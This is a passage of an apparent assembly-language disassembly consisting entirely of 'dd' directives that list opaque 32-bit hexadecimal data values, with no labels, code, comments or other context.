44E93C1Fh, 2ADD07F9h dd 0DF1C327Fh, 3E7251E0h, 8600FD61h, 4B52B9CAh, 125B1EACh dd 12FABF67h, 6D520D42h, 108D043Eh, 0E9C0CD25h, 20792619h dd 4C051F00h, 0CA34382Ch, 0B3D008Ch, 0F41AE482h, 0C8EC695Ch dd 5EE07703h, 0F014B50Eh, 8F56F0h, 0F66111A8h, 62D1C010h dd 3A00F8F8h, 0BF29E922h, 54DD44h, 0B6B55821h, 100B0590h dd 81178430h, 0C00DEA61h, 0FCA4EF0Dh, 0DC01C3DDh, 7C72E781h dd 113076F5h, 8C6250F8h, 9A5A403h, 5EA848Dh, 82DF3A02h dd 0C3958061h, 3080EA86h, 4B0664BFh, 22EA6609h, 0FC400015h dd 3753E679h, 63010FC0h, 0FAF53FCBh, 326481EAh, 68E9004Bh dd 0B846BB3h, 200E1F0h, 21FB6F9Bh, 1D5B269h, 0D1192D32h dd 0D31E104Bh, 0BE09C6C1h, 0E7930008h, 0F14C03E6h, 0B77896h dd 0F81F4B97h, 396CF3EDh, 0E1AFD000h, 9538E201h, 39DF19h dd 92FEA9DEh, 2B015C4Ch, 0A7D3D70Ah, 9FDBB54Dh, 367C6CC1h dd 274B188Ch, 0BC287739h, 8C00DE0Dh, 2D5B155Ah, 0A5D48Eh dd 400E949Ch, 18A18D1Fh, 1AD931C0h, 0F2111705h, 207C3064h dd 9089D850h, 430C4C18h, 6713510h, 0AE31B4FDh, 900CA11Fh dd 201DB854h, 0DC63002h, 814D0519h, 7226DC07h, 0E04F2CA6h dd 96219A3Ah, 418501A2h, 909BC416h, 932CD4D5h, 0B8A0D754h dd 0FD05BF12h, 59A89D00h, 7C99AC09h, 33450048h, 517151Ah dd 31C0DDB0h, 3C880DCEh, 0FC140EC3h, 87404197h, 34F35A75h dd 4011A531h, 0B006E304h, 2C16B220h, 30DDC1ABh, 0C7B83918h dd 0C0195528h, 78414E1Dh, 7002E82Ah, 0F4A3A997h, 35BB10C5h dd 0BA36C000h, 74AC02EDh, 1EF61E7Bh, 0C466C0F9h, 0A5DB0192h dd 33789414h, 795200B8h, 0E6D2A138h, 77FD2810h, 0AD170030h dd 0AA354DD9h, 3B609064h, 0A431F130h, 9C08C1A9h, 61C05AD6h dd 11A1B92Ch, 0BF1C4778h, 0F9A7402Fh, 0D51203D9h, 0B26EC903h dd 0E174EFBEh, 0B0D48A16h, 912B158Fh, 0DE099CD9h, 262EB9h dd 4344504Dh, 2E0A75C6h, 53083Eh, 0F417D3A2h, 93FE763Ch dd 4363924h, 412B4B8Ch, 416F0089h, 0FCDDE15Fh, 0F001E48Ah dd 180E6782h, 84438E15h, 5C01BC44h, 83107DA0h, 0A86C26C8h dd 78181837h, 5E79812Dh, 8DC5BA00h, 33EB12B8h, 0AB747729h dd 0AC40CC3Ch, 49271776h, 0BFB6802h, 8FB338A2h, 0D8F120E8h dd 1F7C0A7h, 0F0DA8CA0h, 0D3FD30ABh, 0DC82A2FBh, 0A84C0848h dd 29D33C40h, 1909D2Bh, 7099ABF1h, 382880C5h, 409A243Ah dd 9410C3DEh, 90DC084Ch, 0D610A124h, 30DE7480h, 0A6A132AFh dd 2364286Ch, 89C1D2E0h, 15C4BFF1h, 4D80A00Bh, 82300C63h dd 0A97011D7h, 9BD5022h, 16C58DF0h, 0EB43820h, 841E6779h dd 83802AB6h, 28DF7DC2h, 487AE02Fh, 0C9109CA1h, 94DC04FCh dd 3C901D5Eh, 0C7E3ABA0h, 402C2D18h, 0ECFD7079h, 0AFD1E9C0h dd 80CE4CA1h, 92477A6h, 8E41B48Ah, 9CEC825Ah, 50446070h dd 1D607355h, 6239CB1Dh, 0ED2526C5h, 7AB08FC7h, 589F2h dd 0EC97EAD9h, 72C2C8A7h, 3D011F73h, 9C93EE25h, 0F0D3C6ADh dd 0E3F24A9h, 0C8524EA0h, 8125E6E7h, 0F07CF3C4h, 65006650h dd 61718F4Dh, 16AC2B2h, 0E81ECA1Fh, 0E0A3AE01h, 930092FDh dd 0F709EC74h, 43EDADh, 166082CAh, 1DF2B62Fh, 0F1B88E1Dh dd 0C63C8068h, 0DB620936h, 95100047h, 152E55A4h, 0BCEECCC2h dd 29B8DE04h, 884D0C19h, 48F1028Ah, 0F35C058h, 5492C048h dd 77824h, 15AF3105h, 5016D442h, 0ABACA039h, 80E404B9h dd 0E07D63F0h, 0CC8330C7h, 24705B81h, 0A0102022h, 541A12DEh dd 0A5312C21h, 6C39B433h, 0A0302720h, 8FD9A12Ch, 45C81858h dd 7453E0FAh, 81307830h, 0C0657A50h, 55126208h, 4D7A6BC3h dd 684CD831h, 9D003764h, 2A3FAB02h, 7102FEFCh, 0B084A635h dd 0B75C4848h, 104CB2EDh, 0CE9912Ch, 69467819h, 0B112002Ah dd 357E2039h, 7C006DEDh, 0C108E41Dh, 2936B82h, 0AC671136h dd 704890A1h, 0AE248874h, 5C26E868h, 757D2860h, 234F18F9h dd 0A61C7CE5h, 0B02FC91h dd 4AEAD4BAh, 395080DCh, 0D367A0h, 55AA994Ch, 744E164Dh dd 447190E8h, 8FE03F69h, 4556867Dh, 0F04B52B1h, 1B248500h dd 86AAED64h, 5DCAA100h, 0EB3A6DC3h, 0B4322C97h, 4094C574h dd 39ED6098h, 6F146D51h, 86F85C16h, 0F159AA31h, 0C83F530h dd 33469A2Bh, 0D3008420h, 0F3686152h, 2A5A3F7Fh, 44147466h dd 0A0145832h, 3AB816C9h, 0B4DE8CFDh, 60C659C1h, 0E92A611Eh dd 2014AA78h, 221431DEh, 0A7D513ADh, 60400998h, 98997829h dd 50FACC68h, 0E99A3000h, 0BD110987h, 0B3DE14D0h, 1422343Eh dd 91019A78h, 0C871DA0Dh, 0B4D4DDC7h, 528602B5h, 54160C77h dd 0BA2B8090h, 0D0DF6428h, 0A4D9DE40h, 28907D88h, 6CA010A0h dd 94A0319Ah, 1C907059h, 2CDAB05Ch, 1D24C6F8h, 40ADAA25h dd 9E82B18Bh, 49004BF4h, 125E3B72h, 7A437DA6h, 0C70EABCh dd 0BB18B20Ch, 5471DF80h, 32703D60h, 92B88406h, 2BF00668h dd 28B46CB2h, 0AF8DB4Ch, 90D09B2Ch, 0C5C98D83h, 0EA810011h dd 0AC6322C2h, 8E286DD7h, 4145B449h, 6400F063h, 0C0348F45h dd 9000ED5Fh, 5B7AE95Ch, 7E97BEC2h, 0ADF10643h, 78B068B9h dd 0F47CDCB0h, 0EEA5D380h, 0B83FF009h, 0A9AC09CCh, 1D051081h dd 1638339h, 0C13CD4FCh, 0BF6D37A4h, 0C0AA8B38h, 50482AD4h dd 0D142013Ch, 979252D2h, 0BC9DBF4h, 1519A858h, 5BE83821h dd 315C3554h, 10E6E138h, 6EF5C2Fh, 0C1B05A39h, 971D301Ch dd 715DBE50h, 0D10890AEh, 58A81504h, 0E82E7815h, 0DF1EB300h dd 0E8A5F591h, 6153DC0Ch, 41B4505Fh, 14883058h, 0D6334988h dd 67243039h, 15011191h, 22763D42h, 6705358h, 62D607B3h dd 0A239F5AEh, 74C82DB8h, 0AC208CA8h, 4BF00C15h, 2C48182Ah dd 2EE89052h, 0E4291484h, 2C50649Fh, 1E132413h, 4B30E2D8h dd 0F608931h, 409B0172h, 0BA33D36Bh, 0B05C3420h, 0F1B95260h dd 37942E05h, 6180245Ch, 60DB1ED4h, 0AC20C1E4h, 8B933EB2h dd 0EC233100h, 5BA1A6E7h, 0BC56F18h, 3E626E91h, 860037EBh dd 0DD3B5D10h, 0DF01654Ah, 0E72B94FCh, 473D375h, 57CC0D00h dd 58DCE31h, 69BB3400h, 0E0FEE1E4h, 64A80A3Bh, 9F884560h dd 395685h, 4616FF8Ch, 0EC004D7Eh, 81FE2B12h, 0F8E66188h dd 803D5558h, 4CA71C50h, 0AF84A83Ch, 0A6B60010h, 1FC94D0Ah dd 0EA1E980Eh, 0BBF1B5h, 0A3134E1Bh, 9A26B232h, 44089034h dd 3D604B49h, 33764849h, 7FE5036Ch, 38444A0h, 77AE2D98h dd 1E4C9F01h, 0AD31F152h, 0B115FC22h, 0B501E0DFh, 98275E45h dd 79BAF480h, 0FF0BF900h, 6C76AA07h, 72D4099Dh, 0C0645716h dd 83792660h, 7314Dh, 3FFE8D37h, 7DDABCBFh, 8C9C2B00h dd 0F1A6DB61h, 0DE34029Ah, 0D64E3672h, 8C8B3042h, 0C8109809h dd 4830651h, 0D5AFD010h, 12C60616h, 0BDB61DB1h, 0B4A50F1Ch dd 0F55B0C67h, 78D48258h, 0BFDB4C80h, 34033F93h, 81B87675h dd 3EADD0ABh, 57F10539h, 7076DA8h, 46BFD834h, 0AA1788EBh dd 0E8403C9Ch, 0ECB1AC89h, 63090C2h, 5FB85CA1h, 60828E6h dd 100CA894h, 0D608108Dh, 89E16075h, 59DA5AEDh, 0F3E30900h dd 0F2B38A3Eh, 336200FFh, 0FD230BD1h, 895C497Bh, 9ADE0CB3h dd 1F50C8D4h, 9374A965h, 0B150880Ah, 0DD59DE60h, 59E1D2h dd 56FAE7D8h, 0B00906C3h, 58F8A101h, 1CA443F0h, 14FCBC20h dd 0D4C8EDDBh, 0BA82E0C0h, 0E424FBD9h, 3B0089DEh, 0AAAD682Ah dd 1D180315h, 0B69CF732h, 768838h, 0AE286048h, 1D029AAh dd 9BF70535h, 70228B99h, 0DE40C834h, 39D50E96h, 0A5209853h dd 36799A6Fh, 0C108C530h, 2CA2E896h, 1332FF5h, 94BD2E65h dd 0B77BECB4h, 5B0167EEh, 5A517571h, 0DC2861A8h, 7DA1AE04h dd 0DE2080C1h, 20E9C0B7h, 0D0B1C480h, 88C87700h, 614E03h dd 0D3827ABBh, 0CFD9A99Ah, 0FC0804A7h, 2C2500A8h, 0ABEB87FBh dd 36426000h, 1BCCEABDh, 0CC8AEE34h, 976CD918h, 2140D86Fh dd 9EF9EF54h, 0CD30E771h, 58720083h, 17A3D528h, 937E402Fh dd 0DDFC3B18h, 37435C40h, 0C658B746h, 782068D8h, 2BE03B6Fh dd 273CDE20h, 0A7450067h, 0B5A52A58h, 0DFF43Bh, 840DF3E1h dd 1CA0D7E8h, 951B5418h, 782AF480h, 5D293328h, 81D86110h dd 0D600E01Ah, 0BEBC5807h, 0CEB926Eh, 25542651h, 0CE28C229h dd 0E90680AFh, 719FDB88h, 0AA610670h, 292864F2h, 0CA1E4600h dd 26A0D81Bh, 1F3775B1h, 0BDF48EF1h, 0B89BAC98h, 51F90862h dd 0F6438008h, 1648B481h, 0A41BCC6h, 0C0AA42DEh, 6259DB81h dd 8450402Ah, 60542E43h, 0B7C3792Dh, 2B305AEEh, 0A29A2144h dd 0AE0A454h, 3C2E7B08h, 14238518h, 5AD84136h, 91F1D671h dd 8200F670h, 7FB75CE9h, 0A339C528h, 6CD001EAh, 0B88EA984h dd 896ED088h, 0D207F802h, 81184893h, 0BDD800FDh, 0BECC58EEh dd 0F02FC15h, 0F4D90797h, 5498848Bh, 20464844h, 883E80A5h dd 4349D187h, 62090320h, 0A345BE73h, 8DC1A06Bh, 271B1D39h dd 0AA7241D7h, 8C9D3016h, 0C8DF9CB9h, 9B24889Eh, 2C06F6B8h dd 0D7EA5AA2h, 10C96260h, 90A7C354h, 0EB6BB041h, 2E2AA818h dd 0CA159C03h, 0A7289D0Fh, 1E187A2Fh, 0E9EC0128h, 24A819DBh dd 635980D4h, 0AB9F60DDh, 0AEDA3AD8h, 0AC1DC40Ah, 0E72780A0h dd 0EADFEC8Ch, 0DE400E53h, 0B40C9952h, 5A39ABh, 0AA24F7C2h dd 6AA0472Eh, 91CA5230h, 90F24AE6h, 0B0123244h, 3CB5AF31h dd 165BA285h, 0DBA0D442h, 91582A35h, 3421298Fh, 0C00B0551h dd 0C2FA239Dh, 0C4CB0FF2h, 0D1F8E62Fh, 7900E862h, 17AB24C7h dd 0A2380340h, 53BC3C48h, 0DEC34C31h, 610D3949h, 200CA995h dd 8CAAF803h, 86A40819h, 0DF2FA738h, 54185061h, 0E2084FFh dd 0F11B3BF3h, 0AE1F307Ah, 0C9982E71h, 8626B000h, 35FDDAA0h dd 15D11396h, 24181F8Fh, 0E08B0070h, 0A2A9E799h, 0E8DD552Ah dd 0AF3A480Fh, 8A209562h, 44EBC13h, 7882F507h, 609C49C2h dd 0F88D0880h, 53A9A308h, 1092A77Fh, 3DF02B4Dh, 43EBFA6h dd 8CCFE60h, 0B1170580h, 69C900FDh, 42F0B49Eh, 523BAC47h dd 0EA91000Ah, 152A5188h, 0B9DC006Ah, 65A63E71h, 3FE0C838h dd 83E5963Bh, 0D3663BCEh, 0E195C8ADh, 105401BBh, 8CEB8EE4h dd 68408207h, 76B8DEh, 1DBF38AFh, 0E5A51601h, 5DC5D27Bh dd 3E2D8480h, 0FF90F047h, 0DA8EDF00h, 0D71B5249h, 64F055h dd 0B9BD3E7Ch, 0C1DBEF3h, 0CE58A575h, 40FA970h, 1F895FBh dd 0B8F266A2h, 0D820161Fh, 0C7D70060h, 0F8C1C955h, 0ED01447Fh dd 0BCDBCD67h, 6CC04EEBh, 0DF610114h, 0B98CB2B3h, 1408065h dd 732C680Eh, 5D320045h, 4C2D64CCh, 5C009B56h, 4051E810h dd 37337ADh, 0B4BA6D12h, 65A03EBEh, 220B6ECh, 7545EE11h dd 0ADD500C9h, 0F94A3A2Dh, 0FB00FF5Bh, 444EEF7Fh, 71212Fh dd 8C7363BAh, 0B6019BB8h, 683B1E01h, 0CFFC6715h, 3831DFD5h dd 0C0AE944Bh, 0C2F9B9ACh, 96101204h, 3F5400EAh, 2DAED65Dh dd 9B4E3700h, 0BCE00F90h, 1887FDCh, 0D16A2274h, 60937CF7h dd 0B700F18Ch, 33A8CD08h, 0C7CEB1h, 2F2C867h, 4DA05C46h dd 66002FFEh, 7A4C5843h, 30D15F16h, 6740B2EBh, 0F40C0F3h dd 3B10019h, 0F2D45D35h, 0F7E242F8h, 24F46603h, 8044DCC1h dd 5F1220h, 927CB8C2h, 0CCF3B46Ch, 97CD1D00h, 35047217h dd 0F0D42C5Bh, 3D4D58Ch, 60A07750h, 3A80C238h, 61001896h dd 9856CDE1h, 20732DF0h, 8DE6F544h, 5247DD03h, 0B0AC1A6Eh dd 3F3E7DB8h, 0B70060A3h dd 33A11843h, 3D07D578h, 0F066D85Eh, 5AED0DB0h, 0C5250011h dd 7A4241EFh, 0DC0089F9h, 6C8DB163h, 0BFF264h, 28941A0Eh dd 73C54575h, 2DC19E0Eh, 5DAAE071h, 0C324FEh, 214088D8h dd 0B4D26F16h, 6D387600h, 1CB8F04Fh, 2CA11FCDh, 658A407Dh dd 5336B0D5h, 0AC9F0D2Ch, 5F01E111h, 0D15E1482h, 1B8849F9h dd 0AFB0FF04h, 72001F5Dh, 7B1D6585h, 0A0B594Bh, 0C9A94E64h dd 14805534h, 0B9755177h, 84E0098h, 494B7205h, 0BD77AFCCh dd 0E6781CAEh, 0D110C263h, 0F91900A3h, 9C37C4A0h, 1A05DD4Eh dd 5D19E6EFh, 0AA614EC0h, 0C881305Bh, 0EEB8AF41h, 4F462F05h dd 0FD86D545h, 21D76008h, 4BEEB08Dh, 0FAD2791Ch, 27FF3C41h dd 0E47C2354h, 25DB4001h, 83921A6Ch, 4C164810h, 0A9A0E8E7h dd 1BC60404h, 0A8A45834h, 19733A08h, 30382A59h, 5C00D06Dh dd 0E441F84Bh, 0DD15D7CCh, 881C9732h, 0D13717F9h, 0D4142584h dd 0AB01EE2Dh, 51B4188Eh, 602D3BDEh, 0E825A704h, 0C08104CEh dd 0A400F64Fh, 22686A95h, 0BE495205h, 8C3A32F8h, 5E01DD23h dd 99261707h, 0D088204Bh, 0CBAECEC0h, 57CD0E59h, 1AA0DC54h dd 0E34C2E5Bh, 91A88E51h, 33CB3C9h, 0DA01AD0Ah, 8AB9809Ch dd 5B6053DBh, 58A5BE0Ch, 0C0E6088Ch, 0DB921431h, 2D319134h dd 0F57758ADh, 8E93F0Ch, 95048CB0h, 736052DBh, 1720F162h dd 0DDB9Dh, 1184F699h, 9423CDEh, 0E1CD8130h, 1829B63h dd 0BEA4EEEBh, 81C73664h, 2C239078h, 0EC40CA10h, 7EA2FF7h dd 2252C0DDh, 9DCC624Fh, 6CB84480h, 3492FA06h, 29593807h dd 62C0A799h, 1E51B517h, 0C3BEC360h, 2C25FCAEh, 0D00D848Ah dd 0DB9030CEh, 8B605511h, 1A80F288h, 3B94DB98h, 23630038h dd 0F0AF6AE2h, 363032D8h, 27AA9892h, 9F4600ADh, 730A5845h dd 0D26ED464h, 0C0067178h, 31907632h, 412B5903h, 0A0C8A22Fh dd 0D9315736h, 18B9A041h, 57DB0896h, 0F0C47B60h, 0DB9E1840h dd 0A8027AC1h, 0C4C53A52h, 920FA27h, 0D2399B29h, 0C5A80C90h dd 95278E00h, 1BD817C9h, 0A0DF6A54h, 0EC467420h, 654AE800h dd 0B260435Ch, 6BBF4D04h, 38A928C4h, 53542004h, 0DF00D09Eh dd 4D00F79Ch, 6D1F2305h, 296EFE29h, 80942627h, 0DF5E258h dd 0BA70938Fh, 8071E36Fh, 965EC3CDh, 1CE9E95Fh, 41A572D8h dd 0B7800B5h, 85321E62h, 30AAD0AFh, 5011DB97h, 0E4888360h dd 0DB9F1980h, 1D40D8F3h, 4CC5E86Eh, 0ECDCC0A0h, 6DF4C0C1h dd 0E8207C95h, 9CD90C07h, 4979ADD2h, 0B8082E00h, 9EA30D20h dd 8156628h, 6A132195h, 0DC010826h, 0A4425260h, 1ADF0420h dd 0F883FF2Bh, 59017844h, 0F71B85E6h, 80DC423Fh, 9C92DFh dd 6939FEC8h, 87EA31B7h, 5B419F03h, 0C08A6579h, 18245CE6h dd 50D0BC1Ch, 0F8373260h, 5A706862h, 924D853h, 0B3902712h dd 0EF68F80Fh, 0AAA7CE0Fh, 4AB84F5h, 6C4478h, 267D6D51h dd 47C40D84h, 0ABD34902h, 4B9142DEh, 382E1840h, 4A62A0D1h dd 65A07E20h, 89A2112h, 31C09FACh, 4620B308h, 6962215h dd 83082969h, 0D2008E20h, 23735988h, 252B5AD7h, 74C8B906h dd 0AA419555h, 6C5EE002h, 0EEB304C8h, 62B74632h, 0AB8820CBh dd 37008CEEh, 0AC2E42F9h, 0BEDCA14h, 0F0046E3Fh, 0CE096804h dd 0C1E5882Ch, 0C54ABAA7h, 0D7A88295h, 5CBF7C1Bh, 81C218F8h dd 0AA0EF4F6h, 0B88A5493h, 869936D8h, 370AAC91h, 2380A49Bh dd 0AA60F9D3h, 0E74A45Fh, 4633EEB4h, 893C38B6h, 81EEAC03h dd 0D04B9233h, 0C7F05F4h, 0A2AE4262h, 14182370h, 5AA0AA4Ch dd 299D0108h, 2471F996h, 4E6425E6h, 0C0E588BCh, 136D2B0Bh dd 90258D09h, 0C62090D2h, 0DACE0041h, 9B0D322Eh, 814B4AF2h dd 302AF0CCh, 3BF9A2E6h, 0C67C8713h, 913FA501h, 0D3101C71h dd 0A012880h, 0E6837FCAh, 1604A097h, 4EA3904Fh, 0D334808Bh dd 71FACE4Ah, 0C0382C10h, 0D2328E04h, 0A9840192h, 0B448E727h dd 9A5300BAh, 0B5757195h, 656629C3h, 0A021F408h, 0F169A9Ah dd 0FEB3DC21h, 2881D249h, 3AE76D8Ch, 6F295C07h, 0AD8BF020h dd 7B54B808h, 0D40F5034h, 0DCC8261Eh, 468C2844h, 8320298h dd 1C2D20B4h, 82A6E00h, 77C2B304h, 1B93068Dh, 21A1D20Ch dd 7DF6401h, 8B2CABB8h, 0F2659CC8h, 71501766h, 88B004E5h dd 0C4D8019Bh, 5034BB1Dh, 1D52780Bh, 7BBA0FE4h, 0C8C4E28h dd 0D2081471h, 42249730h, 5D82EC0Ah, 507F5C20h, 90E74B00h dd 0F9B0DCE0h, 0A5D21018h, 0BA1391h, 140A29F2h, 951B0736h dd 94B0ABF4h, 88A6F1Fh, 489918Bh, 0F0816D98h, 0A0D29733h dd 0EE6E13B8h, 269202BBh, 27D341D9h, 825188A4h, 9130AC48h dd 605611DBh, 80ED8893h, 0C5DB991Bh, 6702DAA3h, 1F0874E6h dd 0C4044DA1h, 184560F0h, 2000B09Bh, 0A718A80Eh, 0DE79E11Dh dd 94C914Fh, 1430870Ch, 0E02824F1h, 6324B0C3h, 0D4241CF8h dd 1DF04674h, 0BD016340h, 0F1E7471Eh, 0D4217182h, 0DC815FC7h dd 2244B0D6h, 942238h, 82EF404Bh, 46AE51F4h, 69F0FF0Eh dd 0F84EE099h, 5D7C970h, 33EDC747h, 506F90h, 0CFDD4DCDh dd 2547F95Eh, 18857016h, 782482A8h, 6CC7AC25h, 5426B370h dd 30A74893h, 0ECE611h, 63AFA199h, 3BC56090h, 0EA809C46h dd 89EC051Bh, 7716646Bh, 84AAB80h, 0E937C46Fh, 4649E080h dd 89D0A0A1h, 4DC4B059h, 8A0C1033h, 7029D701h, 1D26EB00h dd 0F123A64Dh, 846E012Fh, 0DA526295h, 10E832AAh, 0E7CBB40h dd 5CA8B316h, 4FB0C6ECh, 8882934Eh, 28247432h, 229462Ch dd 71979A51h, 5A031C65h, 0BCBB9A59h, 0A6B82480h, 0BA1062C8h dd 26BC8129h, 26E3DA64h, 8E46E78h, 2B85D658h, 288CC1F6h dd 881D32Ch, 0C2C05994h, 464631EEh, 0D1225Fh, 59EEBA8Fh dd 90B56163h, 3F967D03h, 4A8E795h, 0EBFB31B1h, 267AC00Dh dd 7A000A92h, 833A1AA5h, 0FC42Bh, 849133E0h, 641659F2h dd 0A626C8E9h, 5A90B8D9h, 0EE09B718h, 6557462Eh, 0AF8C80C4h dd 0D6C0DFEEh, 0E73B3D0Ah, 2664B42Ah, 949A5260h, 116D7123h dd 5A5F01EEh, 0CF2409Ah, 9C45AFCDh, 0DDCC8Ch, 7C0E85A3h dd 0A40DEEB5h, 0E9B99607h, 2730F466h, 4C941E0Ch, 0A825E4C1h dd 0C1A3CC24h, 29BA2418h, 0B0A007Ch, 6AB5E7AFh, 7A4E0F09h dd 40C150E2h, 2329102Ch, 9B2B0070h, 0A3E7AEDAh, 0B03600FDh dd 38E40106h, 0C87AD330h, 46696502h, 42E2346Eh, 120087A0h dd 806F0048h, 2B3EAA28h, 0A6D40702h, 7EEEE80Dh, 67B18D84h dd 0D8A0AC29h, 0A143DE41h, 8AC81A6h, 0F801DC48h, 2921115Eh dd 5CD8CC30h, 0D1E8B069h, 0EDFD098Ch, 2F00962Dh, 0EA580AE8h dd 84166326h, 9962C40Bh, 804DA40h, 1809F88h, 6C49EE5Dh dd 45E83E83h, 4AC20972h, 0C4109E6Ah, 0E18BCFE4h, 1882458Ah dd 6AB12425h, 4F0EE200h, 9470C898h, 0A8F2AA85h, 9458C483h dd 0BE38602h, 812808AAh, 26425D7h, 0C4838A5h, 20BAF876h dd 4DF70008h, 0D226FE4h, 6B5901Eh, 75885C38h, 858280B2h dd 7292E313h, 5DE3440h, 4CA7D078h, 0CA813822h, 84B02652h dd 0D4743BD1h, 591794E4h, 3A9218C1h, 7F32324h, 4067B00Eh dd 8A2596C8h, 11D5412Ch, 29EBE60Ch, 908B7E88h, 0B87F07DAh dd 90DB34A7h, 835EBAC0h, 0C81A8600h, 5C1E45F2h, 2080A0D8h dd 0BBEB2844h, 4E808C8Ch, 0AD040064h, 0FA726045h, 8101A300h dd 2984FB36h, 1A690B5h, 46153178h, 83E6B826h, 0E744F238h dd 4E5001F8h, 55768C04h dd 0B95C2065h, 89B5621h, 0F900A348h, 6CA0B89Dh, 80C94D8Eh dd 0A9F28900h, 60D917C4h, 8D16420Ah, 46769CEAh, 0C7DA00F2h dd 240D1DEAh, 36ECA0DFh, 0EC8081ACh, 0A367E6B0h, 0C801FE31h dd 3FC8858Ah, 222019Ch, 0EC25A67Fh, 0FB9840B9h, 0A779C398h dd 0FCC96928h, 5040805Ah, 5AB2580Bh, 308EA47h, 9EAA3FFBh dd 20FED280h, 25D04102h, 64920344h, 2584698h, 4630EEC1h dd 60E8D167h, 4AEEB98Eh, 92080500h, 0C03040DEh, 99D7204Ch dd 28E14E16h, 62A29C80h, 78828ACDh, 2E00DE68h, 0B4BD0F4Ch dd 0C1248824h, 0AC3D808Ah, 4674E4A4h, 567E00D0h, 836FE89Dh dd 5A11167Ch, 425848B6h, 0A7733080h, 0B87ACF4Bh, 309D4A60h dd 0B9082F98h, 11052023h, 276B008Ch, 0D161DF08h, 45D20065h dd 372A940Bh, 3A0534DEh, 0FA4A6C26h, 46EEAC47h, 99B1683h dd 2475A610h, 586518E2h, 0D671C021h, 0C0F02C19h, 104EA289h dd 342B4DD2h, 9874FB7Bh, 0FD64001Dh, 40D85F71h, 18001077h dd 0D11EBBBDh, 0D857555h, 0D7EA886Bh, 0A1900031h, 6E16507Bh dd 3C20341Bh, 4A1DC4D4h, 2EF01D58h, 57380278h, 8C443262h dd 0DBE0BC90h, 9C6C5080h, 306549A4h, 0E660D164h, 690023E7h dd 2944C31Eh, 1E2A607Ah, 93C481B3h, 9904C808h, 11337E8Ch dd 882520B5h, 2B6F808Dh, 5127D408h, 85570200h, 87D267AFh dd 14092D6h, 0B5CCADB7h, 0F1E32A66h, 9719A515h, 80ED91DCh dd 48F56F95h, 0E0937984h, 0C3F91382h, 0E5C951Dh, 90C79Ch dd 59103641h, 0B0EF9D76h, 0C35344A4h, 0DF601410h, 15C6170Eh dd 1674A6FDh, 0CB7C9001h, 4C00C599h, 6A7BE748h, 14AC424Bh dd 81935C20h, 0B490D703h, 0B3E2DE60h, 690248C9h, 56B5003Ch dd 0FF71B91Ah, 0B80939A6h, 391D4F83h, 3FA03101h, 9948CC86h dd 0F1EA1070h, 6809112h, 0A968E662h, 28468C90h, 969A5002h dd 0EF315D71h, 9A586910h, 7A64F48h, 0FF296CFCh, 34722640h dd 3BC14F08h, 0E72314h, 2430B2F5h, 0E8B2B81Ch, 25D03158h dd 0E11489D4h, 6478F86Ch, 0AF64A288h, 51DB9460h, 966B602Dh dd 9C1600FCh, 0FB3110DBh, 0A305048Bh, 283E44CCh, 0BDA84881h dd 909F820h, 29A79C2Bh, 90322068h, 2560509Eh, 0B2B06DA8h dd 0B5810188h, 47406C38h, 1F7464BCh, 27CCA617h, 0C6D1A009h dd 0AE10734h, 0DBE42153h, 209E7019h, 0C040D0C8h, 8B6D5C32h dd 2AF47800h, 8516620Bh, 1559A90Bh, 0AB9804AFh, 3EDE3D4Eh dd 23EC2FCAh, 0FA873FD7h, 173192BCh, 8806B143h, 0A2D42389h dd 8BEB309Bh, 3A419802h, 0F8CB54EAh, 53BC823Ch, 3213D03Ch dd 6D360500h, 44A7FFF0h, 9F02140Fh, 0DA24ACD7h, 74F43CD0h dd 4F39C981h, 0A4E76824h, 740388F4h, 75C09EECh, 0ED0588B6h dd 0E57F0059h, 0F50D6DB0h, 0C5CF233h, 9CDC0B54h, 233CE0B3h dd 0BEDE0CD3h, 0DFE99FD1h, 3B55D401h, 6B730BB3h, 2C4C5E4h dd 5409C96Ah, 6079DB30h, 62E61080h, 2E3680CFh, 4A389682h dd 6F311608h, 951D0098h, 0A46CADCCh, 62FC050Fh, 0D29DCE52h dd 0ECFBF274h, 137D1570h, 53F5677h, 0D098E6DBh, 636B3674h dd 0E01BD709h, 0C44C0BB9h, 21AF38F8h, 0D12DE700h, 3487A2Fh dd 8F15F3FAh, 9898D2h, 915F24AAh, 4DDAFCh, 0D490F288h dd 0D94F111h, 520B3A00h, 0F85735F5h, 54AA2B60h, 0EEB50188h dd 3887462Ch, 0AD82B004h, 7D0C3AEEh, 8664AE84h, 9F3880F4h dd 152F3EBAh, 0FBD46291h, 0C1E973F4h, 11BC20ECh, 7C2C7213h dd 4281D4C7h, 2C29BFEAh, 56012A23h, 4D71909Ah, 5B88F518h dd 9A7F5Eh, 3721B7BEh, 0FC3D591Ch, 63A20E0Ch, 2F4181C9h dd 0F043A5E2h, 0C89C8FDDh, 0D88EC094h, 0E1345F9h, 0B8C1F190h dd 0CC242A6Ch, 0EDECA36Eh, 0A83CA4B1h, 38CE4BCh, 1E0C18A8h dd 6160EA40h, 82642681h, 10229799h, 8429F274h, 0A0505C94h dd 570A2B23h, 5516DC9Ah, 5C03BCCBh, 1A339A5Fh, 90C082B2h dd 4D39F761h, 0F30D7034h, 68E5246Dh, 80045CC2h, 305752CAh dd 0EB5C68A4h, 47D00B8h, 917E5D73h, 494C0269h, 0D8C9E416h dd 42ED5084h, 0F2682499h, 36521018h, 0CD9B26AAh, 0B4D1C313h dd 8B0C922Ah, 0E020AA41h, 0C54E17C4h, 0A8202026h, 9E522A64h dd 0E3C0108Ch, 405B4284h, 58E1E629h, 78796378h, 6043B8F6h dd 30F2A298h, 2C3E6C82h, 107AAD24h, 448F74h, 9F6B5B04h dd 0D9343C23h, 402FD0C9h, 0BFC19824h, 8FADE891h, 328009C1h dd 9C8B5440h, 1CEC274Bh, 0C01D9E19h, 69FB3E7Eh, 21004AE6h dd 5808BC93h, 0AB9C5643h, 5048F69Ch, 80A6A071h, 63130F7h dd 0B8EE2822h, 28008018h, 0A2B7567Bh, 1B25EBC8h, 38949C24h dd 8900D8F3h, 0D1322AE8h, 8E1AF5h, 0C73ECF5Bh, 1EE45D8Ch dd 0AD58A00h, 2D4E2A95h, 30491261h, 0CE6C00ECh, 0AE102CF1h dd 7A5350C0h, 1D384FAh, 1827DCB8h, 60F524C3h, 1418BB00h dd 5C28BC54h, 520A273Bh, 0EF912C1Dh, 0D8742E80h, 7612461Dh dd 0FEDD4h, 68003620h, 7209CAD9h, 3CC0490Ch, 9E8E600Bh dd 91E414E5h, 0A73C1960h, 8823B017h, 0F1AA84E4h, 909B0FE4h dd 0EAA82140h, 89934308h, 3C04D324h, 0F6233F56h, 226CC20Eh dd 0E10875CDh, 0A820E2C0h, 0D9C7679Ch, 0AB449432h, 0CAD42045h dd 